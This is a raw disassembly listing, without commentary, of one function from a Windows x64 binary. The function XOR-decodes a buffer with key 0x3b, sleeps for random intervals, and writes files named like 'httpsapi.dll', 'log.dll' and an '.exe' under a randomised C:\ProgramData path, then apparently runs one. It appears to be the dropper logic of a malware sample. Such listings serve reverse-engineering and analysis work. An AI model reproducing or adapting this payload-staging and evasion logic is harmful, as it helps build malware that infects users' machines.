mov qword [rbp + 0x450], rax
mov qword [rbp + 0xc0], rbx
mov rdx, qword [rbp + 0xd8]
test rdx, rdx
je 0x14000372b
lea rcx, [rbp + 0xc0]
mov rax, qword [rbp + 0xc0]
call qword [rax + 0x18]
mov qword [rbp + 0xd8], r15
mov qword [rbp + 0xe8], r15
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xc0], r14
mov qword [rbp + 0xa0], r14
lea rax, [rsp + 0x58]
mov qword [rbp + 0x450], rax
mov qword [rsp + 0x58], rbx
mov rdx, qword [rsp + 0x70]
test rdx, rdx
je 0x140003776
lea rcx, [rsp + 0x58]
mov rax, qword [rsp + 0x58]
call qword [rax + 0x18]
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r15
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x38], r14
mov rax, qword [rbp + 0x110]
cmp qword [rax + 0x28], 0
je 0x1400037cf
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov rax, qword [rbp + 0x110]
mov dword [rsp + 0x20], r15d
mov r9d, 0x384
xor r8d, r8d
lea edx, [r8 + 0xa]
mov rcx, qword [rax + 0x28]
call qword [sym.imp.KERNEL32.dll_LockFile]
test eax, eax
jne 0x1400037cf
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp qword [0x14027ffe0], 0
jne 0x1400037ed
mov qword [0x14027ffe0], r13
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.1401bd52c
call fcn.1401bd500
movsxd rcx, eax
mov rax, rdi
imul rcx
sar rdx, 9
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x7d1
sub rcx, rax
add ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], r15
mov qword [rbp - 0x18], rbx
mov qword [rbp], r15
mov qword [rbp + 0x10], r15
mov qword [rbp + 8], r15
mov qword [rbp + 0x18], 0x40
mov r9d, 0xa
lea r8, [rbp - 0x18]
mov edx, 0x1f5
lea rcx, [0x14027fbe0]
mov rax, qword [0x14027fbe0]
call qword [rax + 0x30]
nop
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x40], 0x40
or r12d, 0x10
mov dword [rsp + 0x30], r12d
mov rbx, r15
mov rcx, qword [rbp + 0x10]
test ecx, ecx
jle 0x140003911
nop word [rax + rax]
movsxd rdx, ebx
lea rax, [rdx + 1]
cmp rax, rcx
jle 0x1400038e6
mov qword [rbp + 0x450], r15
sub rcx, rdx
mov r8, r15
cmovns r8, rcx
add rdx, qword [rbp]
lea rcx, [rbp + 0x450]
call fcn.1401b7180
movzx eax, byte [rbp + 0x450]
jmp 0x1400038ee
mov rax, qword [rbp]
movzx eax, byte [rax + rdx]
movsx r8d, al
xor r8d, 0x3b
mov rdx, r13
lea rcx, [rbp - 0x70]
call fcn.140016140
inc rbx
mov rcx, qword [rbp + 0x10]
movsxd rax, ecx
cmp rbx, rax
jl 0x1400038b0
and r12d, 0xffffffef
mov dword [rsp + 0x30], r12d
or r12d, 8
mov dword [rsp + 0x30], r12d
lea rax, vtable.CVolMem.0
mov qword [rbp - 0x18], rax
mov rdx, qword [rbp]
test rdx, rdx
je 0x140003942
lea rcx, [rbp - 0x18]
mov rax, qword [rbp - 0x18]
call qword [rax + 0x18]
mov qword [rbp], r15
mov qword [rbp + 0x10], r15
mov qword [rbp + 8], r15
mov qword [rbp - 0x18], r14
mov rdx, qword [rbp - 0x58]
mov r8, qword [rbp - 0x48]
test r8, r8
cmove rdx, r15
mov rax, qword [rbp + 0x110]
mov rcx, qword [rax + 0x28]
test rcx, rcx
je 0x14000398f
mov dword [rbp + 0x448], r15d
test r8, r8
je 0x14000398f
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x448]
call qword [sym.imp.KERNEL32.dll_WriteFile]
and r12d, 0xfffffff7
mov dword [rsp + 0x30], r12d
lea r12, vtable.CVolMem.0
mov qword [rbp - 0x70], r12
mov rdx, qword [rbp - 0x58]
test rdx, rdx
je 0x1400039b7
lea rcx, [rbp - 0x70]
mov rax, qword [rbp - 0x70]
call qword [rax + 0x18]
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x70], r14
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rbp + 0x110]
mov dword [rsp + 0x20], r15d
mov r9d, 0x384
xor r8d, r8d
lea edx, [r8 + 0xa]
mov rcx, qword [rax + 0x28]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov rbx, qword [rbp + 0x110]
mov rcx, qword [rbx + 0x28]
test rcx, rcx
je 0x140003a0f
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x28], r15
cmp qword [0x14027ffe0], 0
jne 0x140003a2d
mov qword [0x14027ffe0], r13
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.1401bd52c
call fcn.1401bd500
movsxd rcx, eax
mov rax, rdi
imul rcx
sar rdx, 9
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x7d1
sub rcx, rax
add ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, str.httpsapi.dll
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xa0]
call fcn.140018930
nop
mov r9d, 4
mov rdx, rax
lea rcx, [rbp + 0xf8]
call fcn.14000e520
nop
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x450], rax
mov qword [rbp + 0xc0], r12
mov rdx, qword [rbp + 0xd8]
test rdx, rdx
je 0x140003abf
lea rcx, [rbp + 0xc0]
mov rax, qword [rbp + 0xc0]
call qword [rax + 0x18]
mov qword [rbp + 0xd8], r15
mov qword [rbp + 0xe8], r15
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xc0], r14
mov qword [rbp + 0xa0], r14
cmp qword [0x14027ffe0], 0
jne 0x140003b00
mov qword [0x14027ffe0], r13
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.1401bd52c
call fcn.1401bd500
movsxd rcx, eax
mov rax, rdi
imul rcx
sar rdx, 9
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x7d1
sub rcx, rax
add ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x70]
call fcn.1400047d0
nop
mov rcx, qword [rax + 0x28]
test rcx, rcx
mov rdx, r15
je 0x140003b4c
mov rdx, qword [rax + 0x18]
mov rax, qword [rbp + 0x110]
mov r10, qword [rax + 0x28]
test r10, r10
je 0x140003b81
mov dword [rbp + 0x448], r15d
test rcx, rcx
je 0x140003b81
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x448]
mov r8d, ecx
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_WriteFile]
nop
mov qword [rbp - 0x70], r12
mov rdx, qword [rbp - 0x58]
test rdx, rdx
je 0x140003b99
lea rcx, [rbp - 0x70]
mov rax, qword [rbp - 0x70]
call qword [rax + 0x18]
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x70], r14
lea r8, str.log.dll
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xa0]
call fcn.140018930
nop
mov r9d, 4
mov rdx, rax
lea rcx, [rbp + 0xf8]
call fcn.14000e520
nop
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x450], rax
mov qword [rbp + 0xc0], r12
mov rdx, qword [rbp + 0xd8]
test rdx, rdx
je 0x140003c09
lea rcx, [rbp + 0xc0]
mov rax, qword [rbp + 0xc0]
call qword [rax + 0x18]
mov qword [rbp + 0xd8], r15
mov qword [rbp + 0xe8], r15
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xc0], r14
mov qword [rbp + 0xa0], r14
cmp qword [0x14027ffe0], 0
jne 0x140003c4a
mov qword [0x14027ffe0], r13
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.1401bd52c
call fcn.1401bd500
movsxd rcx, eax
mov rax, rdi
imul rcx
sar rdx, 9
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x7d1
sub rcx, rax
add ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x70]
call fcn.1400047d0
nop
mov rcx, qword [rax + 0x28]
test rcx, rcx
mov rdx, r15
je 0x140003c96
mov rdx, qword [rax + 0x18]
mov rax, qword [rbp + 0x110]
mov r10, qword [rax + 0x28]
test r10, r10
je 0x140003ccb
mov dword [rbp + 0x448], r15d
test rcx, rcx
je 0x140003ccb
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x448]
mov r8d, ecx
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_WriteFile]
nop
mov qword [rbp - 0x70], r12
mov rdx, qword [rbp - 0x58]
test rdx, rdx
je 0x140003ce3
lea rcx, [rbp - 0x70]
mov rax, qword [rbp - 0x70]
call qword [rax + 0x18]
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x70], r14
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, qword [rbp + 0x110]
mov rcx, qword [rbx + 0x28]
test rcx, rcx
je 0x140003d18
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x28], r15
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rbp + 0x120]
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x38]
call fcn.140018780
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.140018930
nop
mov r9d, 4
mov rdx, rax
lea rcx, [rbp + 0xf8]
call fcn.14000e520
nop
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x450], rax
mov qword [rbp + 0xc0], r12
mov rdx, qword [rbp + 0xd8]
test rdx, rdx
je 0x140003d98
lea rcx, [rbp + 0xc0]
mov rax, qword [rbp + 0xc0]
call qword [rax + 0x18]
mov qword [rbp + 0xd8], r15
mov qword [rbp + 0xe8], r15
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xc0], r14
mov qword [rbp + 0xa0], r14
lea rax, [rsp + 0x58]
mov qword [rbp + 0x450], rax
mov qword [rsp + 0x58], r12
mov rdx, qword [rsp + 0x70]
test rdx, rdx
je 0x140003de3
lea rcx, [rsp + 0x58]
mov rax, qword [rsp + 0x58]
call qword [rax + 0x18]
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r15
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x38], r14
mov rdx, qword [rbp + 0x440]
mov rax, qword [rdx + 0x28]
test rax, rax
jne 0x140003e10
mov rdx, r15
jmp 0x140003e14
mov rdx, qword [rdx + 0x18]
mov rbx, qword [rbp + 0x110]
mov rcx, qword [rbx + 0x28]
test rcx, rcx
je 0x140003e4c
mov dword [rbp + 0x448], r15d
test rax, rax
je 0x140003e4c
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x448]
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rbx, qword [rbp + 0x110]
mov rcx, qword [rbx + 0x28]
test rcx, rcx
je 0x140003e5f
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x28], r15
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
lea rax, vtable.CWString.0
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x58]
mov qword [rbp + 0x450], rax
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r15
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x78], 0x40
mov qword [rsp + 0x50], r15
mov qword [rbp - 0x78], 0xfe
lea rax, vtable.CWConstString.0
mov qword [rsp + 0x38], rax
lea rax, [0x1402396dc]
mov qword [rsp + 0x50], rax
lea r8, [rbp + 0x40]
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x18]
call fcn.140018780
nop
lea r8, [rbp + 0x120]
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.140018780
nop
lea r8, str..exe_
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.140018930
nop
mov rcx, qword [rax + 0x18]
test rcx, rcx
jne 0x140003f42
cmp qword [rax + 0x48], rcx
lea rcx, [0x140236510]
je 0x140003f42
mov rcx, qword [rax + 0x38]
call fcn.140015520
nop
lea rcx, [rbp + 0xc0]
call fcn.140006420
nop
mov qword [rbp + 0xa0], r14
lea rcx, [rbp - 0x50]
call fcn.140006420
nop
mov qword [rbp - 0x70], r14
lea rcx, [rbp + 8]
call fcn.140006420
nop
mov qword [rbp - 0x18], r14
lea rax, [rsp + 0x58]
mov qword [rbp + 0x450], rax
mov qword [rsp + 0x58], r12
mov rdx, qword [rsp + 0x70]
test rdx, rdx
je 0x140003fa0
lea rcx, [rsp + 0x58]
mov rax, qword [rsp + 0x58]
call qword [rax + 0x18]
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r15
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x38], r14
lea rax, vtable.CVolRefObject.0
mov qword [rbp + 0xf8], rax
mov rcx, qword [rbp + 0x110]
test rcx, rcx
je 0x140003fd9
mov rax, qword [rcx]
call qword [rax + 0x40]
nop
mov qword [rbp + 0xf8], r14
lea rax, [rbp + 0x60]
mov qword [rbp + 0x450], rax
mov qword [rbp + 0x60], r12
mov rdx, qword [rbp + 0x78]
test rdx, rdx
je 0x140004003
lea rcx, [rbp + 0x60]
mov rax, qword [rbp + 0x60]
call qword [rax + 0x18]
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x88], r15
mov qword [rbp + 0x80], r15
mov qword [rbp + 0x60], r14
mov qword [rbp + 0x40], r14
lea rax, [rbp + 0x140]
mov qword [rbp + 0x450], rax
mov qword [rbp + 0x140], r12
mov rdx, qword [rbp + 0x158]
test rdx, rdx
je 0x14000404f
lea rcx, [rbp + 0x140]
mov rax, qword [rbp + 0x140]
call qword [rax + 0x18]
mov qword [rbp + 0x158], r15
mov qword [rbp + 0x168], r15
mov qword [rbp + 0x160], r15
mov qword [rbp + 0x140], r14
mov qword [rbp + 0x120], r14
mov r13d, r15d
jmp 0x14000474e
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r13d, 1
mov qword [0x14027ffe0], r13
mov ecx, eax
call fcn.1401bd52c
mov qword [rbp + 0x1e0], rsi
mov qword [rbp + 0x1e0], r14
mov qword [rbp + 0x1e8], r15
mov qword [rbp + 0x1f0], r15
mov qword [rbp + 0x1e0], rdi
lea rax, [rbp + 0x200]
mov qword [rbp + 0x450], rax
mov qword [rbp + 0x200], rsi
mov qword [rbp + 0x200], r14
mov qword [rbp + 0x208], r15
mov qword [rbp + 0x210], r15
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x218], r15
mov qword [rbp + 0x228], r15
mov qword [rbp + 0x220], r15
mov qword [rbp + 0x230], 0x40
mov qword [rbp + 0x1f8], r15
mov qword [rbp + 0x230], 0xfe
cmp qword [0x14027ffe0], 0
jne 0x140004138
mov qword [0x14027ffe0], r13
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.1401bd52c
call fcn.1401bd500
movsxd rcx, eax
movabs rdi, 0x2e8ba2e8ba2e8ba3
mov rax, rdi
imul rcx
sar rdx, 1
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xb
sub rcx, rax
lea rdx, [rcx + 0xa]
lea rcx, [rbp + 0x40]
call fcn.14000f720
nop
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
lea rdx, vtable.CWString.0
mov qword [rsp + 0x38], rdx
lea rcx, [rsp + 0x58]
mov qword [rbp + 0x450], rcx
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r15
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x78], 0x40
mov qword [rsp + 0x50], r15
mov qword [rbp - 0x78], 0xfe
lea rcx, vtable.CWConstString.0
mov qword [rsp + 0x38], rcx
lea rcx, str.C:ProgramDataRR.
mov qword [rsp + 0x50], rcx
mov r8, rax
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x120]
call fcn.140018780
nop
lea r8, [0x1402396e0]
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.140018930
mov rbx, rax
lea rcx, [rbp + 0x1e0]
mov rdx, qword [rbp + 0x1e0]
call qword [rdx + 0x88]
mov rcx, qword [rbx + 8]
mov qword [rbp + 0x1e8], rcx
mov rcx, qword [rbx + 0x10]
mov qword [rbp + 0x1f0], rcx
mov rcx, qword [rbx + 0x18]
mov qword [rbp + 0x1f8], rcx
lea rcx, [rbp + 0x200]
mov rdx, qword [rbp + 0x200]
call qword [rdx + 0x88]
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x200]
call fcn.140005fd0
nop
lea rcx, [rbp + 0xc0]
call fcn.140006420
nop
mov qword [rbp + 0xa0], r14
lea rcx, [rbp + 0x140]
call fcn.140006420
nop
mov qword [rbp + 0x120], r14
lea rax, [rsp + 0x58]
mov qword [rbp + 0x450], rax
mov qword [rsp + 0x58], r12
mov rdx, qword [rsp + 0x70]
test rdx, rdx
je 0x1400042ca
lea rcx, [rsp + 0x58]
mov rax, qword [rsp + 0x58]
call qword [rax + 0x18]
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r15
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x38], r14
lea rcx, [rbp + 0x60]
call fcn.140006420
nop
mov qword [rbp + 0x40], r14
mov rax, qword [rbp + 0x1f8]
test rax, rax
jne 0x140004313
lea rax, [0x140236510]
cmp qword [rbp + 0x228], 0
cmovne rax, qword [rbp + 0x218]
mov rcx, rax
call fcn.1400151e0
mov qword [rbp + 0x120], rsi
mov qword [rbp + 0x120], r14
mov qword [rbp + 0x128], r15
mov qword [rbp + 0x130], r15
lea rax, vtable.CWString.0
mov qword [rbp + 0x120], rax
lea rax, [rbp + 0x140]
mov qword [rbp + 0x450], rax
mov qword [rbp + 0x140], rsi
mov qword [rbp + 0x140], r14
mov qword [rbp + 0x148], r15
mov qword [rbp + 0x150], r15
mov qword [rbp + 0x140], r12
mov qword [rbp + 0x158], r15
mov qword [rbp + 0x168], r15
mov qword [rbp + 0x160], r15
mov qword [rbp + 0x170], 0x40
mov qword [rbp + 0x138], r15
mov qword [rbp + 0x170], 0xfe
cmp qword [0x14027ffe0], 0
jne 0x1400043c6
mov qword [0x14027ffe0], r13
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.1401bd52c
call fcn.1401bd500
movsxd rcx, eax
mov rax, rdi
imul rcx
sar rdx, 1
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xb
sub rcx, rax
lea rdx, [rcx + 5]
lea rcx, [rbp + 0x3a0]
call fcn.14000f720
nop
mov r8, rax
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x348]
call fcn.140018780
nop
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x40], 0x40
mov qword [rbp - 0x70], r12
mov rdx, qword [rax + 0x18]
test rdx, rdx
jne 0x140004456
cmp qword [rax + 0x48], rdx
lea rdx, [0x140236510]
je 0x140004456
mov rdx, qword [rax + 0x38]
lea rcx, [rbp - 0x70]
call fcn.1400162e0
nop
mov r8d, 0xa
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x18]
call fcn.140004b00
mov rdi, rax
lea rcx, [rbp + 0x2f0]
call fcn.14000e1f0
mov rbx, rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
lea rax, vtable.CWString.0
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x58]
mov qword [rbp + 0x450], rax
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r15
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x78], 0x40
mov qword [rsp + 0x50], r15
mov qword [rbp - 0x78], 0xfe
mov esi, 0x80
mov dword [rsp + 0x30], esi
lea rdx, [rsp + 0x38]
xor ecx, ecx
call fcn.140014ec0
mov r8, rbx
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x298]
call fcn.140018780
nop
lea r8, [0x140239678]
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.140018930
mov rbx, rax
lea rdx, [rbp + 0x120]
mov rcx, rdi
call fcn.140016480
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x40]
call fcn.140018780
nop
lea r8, [0x140239670]
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.140018930
nop
mov rcx, qword [rax + 0x18]
test rcx, rcx
jne 0x140004580
cmp qword [rax + 0x48], rcx
lea rcx, [0x140236510]
je 0x140004580
mov rcx, qword [rax + 0x38]
call fcn.140015520
nop
lea rcx, [rbp + 0xc0]
call fcn.140006420
nop
mov qword [rbp + 0xa0], r14
lea rcx, [rbp + 0x60]
call fcn.140006420
nop
mov qword [rbp + 0x40], r14
lea rcx, [rbp + 0x260]
call fcn.140006420
nop
mov qword [rbp + 0x240], r14
lea rcx, [rbp + 0x2b8]
call fcn.140006420
nop
mov qword [rbp + 0x298], r14
btr esi, 7
mov dword [rsp + 0x30], esi
lea rax, [rsp + 0x58]
mov qword [rbp + 0x450], rax
mov qword [rsp + 0x58], r12
mov rdx, qword [rsp + 0x70]
test rdx, rdx
je 0x140004600
lea rcx, [rsp + 0x58]
mov rax, qword [rsp + 0x58]
call qword [rax + 0x18]
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r15
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x38], r14
lea rcx, [rbp + 0x310]
call fcn.140006420
nop
mov qword [rbp + 0x2f0], r14
mov qword [rbp - 0x18], r12
mov rdx, qword [rbp]
test rdx, rdx
je 0x140004644
lea rcx, [rbp - 0x18]
mov rax, qword [rbp - 0x18]
call qword [rax + 0x18]
mov qword [rbp], r15
mov qword [rbp + 0x10], r15
mov qword [rbp + 8], r15
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x70], r12
mov rdx, qword [rbp - 0x58]
test rdx, rdx
je 0x14000466c
lea rcx, [rbp - 0x70]
mov rax, qword [rbp - 0x70]
call qword [rax + 0x18]
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x70], r14
lea rcx, [rbp + 0x368]
call fcn.140006420
nop
mov qword [rbp + 0x348], r14
lea rcx, [rbp + 0x3c0]
call fcn.140006420
nop
mov qword [rbp + 0x3a0], r14
lea rax, [rbp + 0x140]
mov qword [rbp + 0x450], rax
mov qword [rbp + 0x140], r12
mov rdx, qword [rbp + 0x158]
test rdx, rdx
je 0x1400046d6
lea rcx, [rbp + 0x140]
mov rax, qword [rbp + 0x140]
call qword [rax + 0x18]
mov qword [rbp + 0x158], r15
mov qword [rbp + 0x168], r15
mov qword [rbp + 0x160], r15
mov qword [rbp + 0x140], r14
mov qword [rbp + 0x120], r14
lea rax, [rbp + 0x200]
mov qword [rbp + 0x450], rax
mov qword [rbp + 0x200], r12
mov rdx, qword [rbp + 0x218]
test rdx, rdx
je 0x14000472b
lea rcx, [rbp + 0x200]
mov rax, qword [rbp + 0x200]
call qword [rax + 0x18]
mov qword [rbp + 0x218], r15
mov qword [rbp + 0x228], r15
mov qword [rbp + 0x220], r15
mov qword [rbp + 0x200], r14
mov qword [rbp + 0x1e0], r14
lea rax, [rbp + 0x1a0]
mov qword [rbp + 0x450], rax
mov qword [rbp + 0x1a0], r12
mov rdx, qword [rbp + 0x1b8]
test rdx, rdx
je 0x140004781
lea rcx, [rbp + 0x1a0]
mov r8, qword [rbp + 0x1a0]
call qword [r8 + 0x18]
mov qword [rbp + 0x1b8], r15
mov qword [rbp + 0x1c8], r15
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1a0], r14
mov qword [rbp + 0x180], r14
mov eax, r13d
mov rbx, qword [rsp + 0x558]
add rsp, 0x500
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret